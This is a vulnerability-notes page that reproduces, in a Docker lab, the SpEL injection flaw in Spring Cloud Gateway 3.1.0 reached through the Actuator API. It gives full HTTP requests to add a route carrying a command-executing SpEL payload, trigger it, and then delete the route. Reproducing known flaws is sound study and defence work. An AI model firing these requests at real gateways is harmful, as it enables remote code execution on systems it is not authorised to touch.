> For the complete documentation index, see [llms.txt](https://icybersec.gitbook.io/cybersecuritynote-en/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://icybersec.gitbook.io/cybersecuritynote-en/security-vulnerability/unauthorized-vulnerability/spring-cloud-gateway-server-unauthorized-access-vulnerability.md).

# Spring Cloud Gateway Server Unauthorized Access Vulnerability

## Vulnerability Description

Spring Cloud Gateway is an API gateway in Spring. Versions 3.1.0 and 3.0.6 (inclusive) and prior contain a SpEL expression injection vulnerability. If an attacker can access the Actuator API, the vulnerability can be exploited to execute arbitrary commands.

## Environment Setup

Run the following command to start a web service that uses Spring Cloud Gateway 3.1.0:

```
docker-compose up -d
```

After the service starts, access `http://your-ip:8080` to see the demo page, and the upstream of this page is example.com.

![image-20220519211640099](https://3024627155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXR7Pin8lqeHtCxmQjCpG%2Fuploads%2Fgit-blob-25d0a79386a21d4f4b91e9e6ba92c34695e47071%2Fimage-20220519211640099.png?alt=media)

## Vulnerability Reproduction

Exploiting this vulnerability requires multiple steps.

First, send the following packet to add a route containing malicious SpEL expression:

```
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.0.5:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}
```

![image-20220519211737396](https://3024627155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXR7Pin8lqeHtCxmQjCpG%2Fuploads%2Fgit-blob-ba70c07d52eb3a1963cf6d009bbf0e7a0091e2cf%2Fimage-20220519211737396.png?alt=media)

Then, send the following packet to apply the newly added route.

```
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.0.5:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1

```

![image-20220519212128250](https://3024627155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXR7Pin8lqeHtCxmQjCpG%2Fuploads%2Fgit-blob-8631545b6a4ca982c6a265c80110d82efae84142%2Fimage-20220519212128250.png?alt=media)

This packet will trigger the execution of the SpEL expression:

![image-20220519212220678](https://3024627155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXR7Pin8lqeHtCxmQjCpG%2Fuploads%2Fgit-blob-9d94e51dfc5e14333f4b0fc057e3d2b46c0027e9%2Fimage-20220519212220678.png?alt=media)

Finally, send the following packet to clean up and delete the added route:

```
DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.0.5:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
```

![image-20220519212306237](https://3024627155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXR7Pin8lqeHtCxmQjCpG%2Fuploads%2Fgit-blob-3f590941db7e8f08a4fd36a1e2af22c0577e2c43%2Fimage-20220519212306237.png?alt=media)

Refresh the routes:

![image-20230130134103788](https://3024627155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXR7Pin8lqeHtCxmQjCpG%2Fuploads%2Fgit-blob-a3b3586d3059fd1b509664d3ae7e3d9ba087721f%2Fimage-20230130134103788.png?alt=media)